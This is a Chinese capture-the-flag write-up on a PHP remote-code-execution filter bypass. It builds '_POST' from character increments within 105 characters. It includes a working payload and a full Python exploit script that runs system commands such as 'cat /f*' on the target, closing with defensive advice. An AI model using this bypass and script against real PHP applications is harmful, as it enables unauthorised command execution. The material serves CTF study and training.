CTFshow - Web - RCE挑战3 无字母数字自增(105 字符长度限制)

结论先行:这一题在上一代「无字母数字 RCE」基础上加了 strlen($ctfshow) <= 105 长度锁,并 ban 掉单引号 ' 与 !,但放开数字 0、1。取反 / 异或 / 或 / 反引号仍全废,只能走 ++ 自增;关键是把构造目标从 _GET 换成 _POST(P O S T 字母相邻、自增步数少),并用 .= 累加链把整段代码压进 105 字符。破局点仍是:正则只校验 ctf_show 单值,eval 后用可变变量 $$ 取回整个 $_POST,函数名与命令走另两个未过滤字段。

题目信息

项 内容
比赛 CTFshow(RCE 挑战系列,吃瓜杯 shellme 衍生)
方向 Web
难度 中等
环境 靶场 URL(已脱敏),PHP 7.3.33 + nginx,装有 gettext 扩展
考点 无字母数字代码执行、PHP 字符自增、长度限制、可变变量、超全局数组

信息收集

访问靶场直接回显源码(去 HTML 标签后):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/", $ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

列字符确认可用集。正则封死 a-z A-Z 2-9 ! ' @ # % ^ & * : { } - < > ? " | ~ `;可用的是 $ _ ( ) + , . / 0 1 ; = [ ] 等。三点关键:

  1. ~ ^ | \`` 被 ban → 取反、异或、按位或、反引号执行、转义构造全部作废,只剩 **++` 自增**;
  2. 数字 0 / 1 未被 ban → 可直接当数组下标写 [0]、[1],不必再拿未定义常量绕;
  3. strlen <= 105 是本题相较同源题新增的硬约束,payload 必须精打细算;' 与 ! 被 ban,引号拼接与 != 之类写法不可用。

把 ctf_show 传成数组(ctf_show[]=1),is_string() 为假即落到 phpinfo():

1
2
3
4
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

ctf_show[]=1

phpinfo 情报(Observed):

项 值 意义
PHP Version 7.3.33 该版本 0/0 返回 NAN 而非抛错
disable_functions no value system / passthru 等命令执行函数未禁用
disable_classes no value 无限制
gettext 已加载 存在 _()(gettext 别名),可把表达式转字符串
$_SERVER['FLAG'] not_flag 障眼法,flag 不在环境变量,在文件里

漏洞分析

eval($ctfshow) 让输入成为 PHP 代码,但代码里不能出现任何字母、数字 2-9、'、!,且总长 ≤105。要调用函数,必须先在运行时「造出」字母,而且要造得足够省字符。

为什么构造 _POST 而不是 _GET

自增从 N 开始逐字 ++,字母越靠后需要的步数越多。_GET 里的 G、E 相对靠前,但 T 靠后;而 _POST 的 P O S T 四个字母彼此相邻且集中,从 N 出发只需 N→O→P→Q→R→S→T 共 6 步即可覆盖,链最短、最省字符。这是压进 105 的关键决策。

第一步:拿到首字母 N

_ 是未定义常量,PHP 7.3 当字符串 "_" 处理(error_reporting(0) 抑制 notice)。于是:

1
2
3
_/_      // "_" / "_" → 0 / 0 → NAN
(_/_._) // NAN 与 "_" 用 . 连接 → 字符串 "NAN_"
(_/_._)[0] // 取下标 0(数字 0 可用)→ "N"

也可借 gettext 的 _():$_=_(_/_)[0],gettext(0/0) 同样得到 "N"。两条路在本靶标均验证通过。

第二步:.= 累加链紧凑拼出 _POST

用前缀自增 ++$_ 与字符串拼接赋值 .= 组合,一条链同时推进字母并累加结果,避免为中间字母各起一个变量(省字符):

1
2
3
4
5
6
7
8
$_=(_/_._)[0];   // N
$_1=++$_; // $_=O, $_1="O"
$__=_; // "_"
$__.=++$_; // $_=P → "__" 变 "_P"
$__.=$_1; // 补 O → "_PO"
$_++;$_++; // $_: P→Q→R
$__.=++$_; // $_=S → "_POS"
$__.=++$_; // $_=T → "_POST"

$__ 最终是字符串 "_POST",变量名全是下划线,不含被 ban 字符。

第三步:可变变量 + 超全局数组旁路

1
2
$___=$$__;          // ${"_POST"} → $_POST
$___[0]($___[1]); // $_POST[0]( $_POST[1] )

$$__ 即 $_POST,指向整个 POST 超全局数组,而非仅 ctf_show 那个被过滤的值。于是:

  • $_POST[0] → 放函数名 system
  • $_POST[1] → 放命令 cat /f*

这两个字段是普通 POST 参数,完全不经过 preg_match。整道题的破局点:正则只锁 ctf_show 一个值,却挡不住 eval 后从其它字段取任意字符串。

长度核算

主 payload(确定性累加链,去掉换行)恰好 105 字符,正好卡满 <= 105:

1
$_=(_/_._)[0];$_1=++$_;$__=_;$__.=++$_;$__.=$_1;$_++;$_++;$__.=++$_;$__.=++$_;$___=$$__;$___[0]($___[1]);

另有更短的 . 拼接版 89 字符同样可用,本文完整 EXP 给出主链 + 备选链。

利用过程

  1. ctf_show[]=1 触发 phpinfo,确认 disable_functions 为空、system 可用、flag 不在环境变量。
  2. 构造 105 字符主 payload 作为 ctf_show,同时附加 0=system、1=ls -la /。
  3. 返回包 eval 输出根目录列表,发现 f1agaaa(45 字节,www-data 可读)。
    过滤命中检查:Are you hacking me AGAIN? 未出现 → payload 本体不含字母/2-9 数字/'/!,且长度合规,绕过成功。
  4. 命令换成 cat /f*,读出 flag。
1
2
3
4
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

ctf_show=%24_%3D(_%2F_._)%5B0%5D%3B...&0=system&1=cat%20%2Ff%2A

& 是 POST body 的参数分隔符,命令里若含 & 必须 URL 编码成 %26;+(自增)经 urlencode 会变空格,务必用脚本发包或对 + 编码为 %2B,别在地址栏手拼。

完整 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# -*- coding: utf-8 -*-
import urllib.request, urllib.parse, ssl, re

TARGET = "https://<靶标>/" # 换成实际靶场地址
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

# 主链:确定性 .= 累加构造 "_POST",恰好 105 字符(<=105)
MAIN = ("$_=(_/_._)[0];$_1=++$_;$__=_;$__.=++$_;$__.=$_1;$_++;$_++;"
"$__.=++$_;$__.=++$_;$___=$$__;$___[0]($___[1]);")
# 备选链:. 拼接版,89 字符,更短
SHORT = ("$_=(_/_._)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;"
"$_=_.$__.$_.++$_;$___=$$_;$___[0]($___[1]);")

def run(cmd, fn="system", chain=MAIN):
body = urllib.parse.urlencode({
"ctf_show": chain,
"0": fn, # 函数名走未过滤字段
"1": cmd, # 命令走未过滤字段
}).encode()
req = urllib.request.Request(
TARGET, data=body,
headers={"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded"})
with urllib.request.urlopen(req, timeout=30, context=ctx) as r:
html = r.read().decode("utf-8", "replace")
out = re.sub(r"<code>.*?</code>", "", html, flags=re.S)
out = re.sub(r"<[^>]+>", "", out).replace("&nbsp;", " ").strip()
return out

if __name__ == "__main__":
print(run("ls -la /")) # 侦察根目录
print(run("cat /f*")) # 读 flag

本地预检(发包前先确认长度与字符集,避免无谓试错):

1
2
3
4
import re
BAN = re.compile(r"[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\]")
assert len(MAIN) <= 105, len(MAIN)
assert not BAN.findall(MAIN), BAN.findall(MAIN)

Flag

1
flag{xxxx}

已按发布规范脱敏;真实 flag 与靶标地址保存在本地离线解题记录,不随文章发布。flag 位于根目录文件 /f1agaaa(45 字节),并非 phpinfo 里那个 not_flag 环境变量。

踩坑与总结

坑 说明
长度锁 105 新增 strlen <= 105,须选 _POST 而非 _GET(POST 字母相邻、自增步数少),并用 .= 累加链省变量
常规姿势全废 ~ ^ | \`` 被 ban,取反 / 异或 / 或 / 反引号构造都无法用,只剩 ++` 自增
' 与 ! 被 ban 不能靠引号拼接字符串、不能写 !=;改用 . 拼接与 .= 累加
0 / 1 可用 直接写 [0] / [1] 当下标,比用未定义常量绕更省字符,也顺带充当外部参数名
NAN 来源 0/0 在 PHP 7.3 返回 NAN,error_reporting(0) 抑制 notice;gettext 的 _() 可省 . _ 拼接
参数分隔符 命令里的 & 必须编码成 %26;+ 会被 urlencode 当空格,必须脚本发包或编码 %2B
假 flag phpinfo 里 FLAG=not_flag 是诱导,真正 flag 在文件而非环境变量
过滤边界 正则只作用于 $ctfshow 单值,$$ 可变变量能取回整个 $_POST → 函数名/命令走旁路
公开 writeup 差异 网上流传的 $$__0; 收尾式在本靶标未通(调用形式差异),已改为 $___=$$__;$___[0]($___[1]); 并实测成功;writeup 只作线索,须逐条复现

防护建议:

  • 不要用 eval 处理任何用户输入;此类题本就是刻意留的口子。
  • 若必须动态调用,用白名单校验函数名,并让过滤覆盖所有进入执行上下文的输入字段,而不是只校验单一参数。
  • 生产环境应在 disable_functions 中禁用 system/passthru/exec/shell_exec 等命令执行函数,并开启 open_basedir 限制可读路径。

OK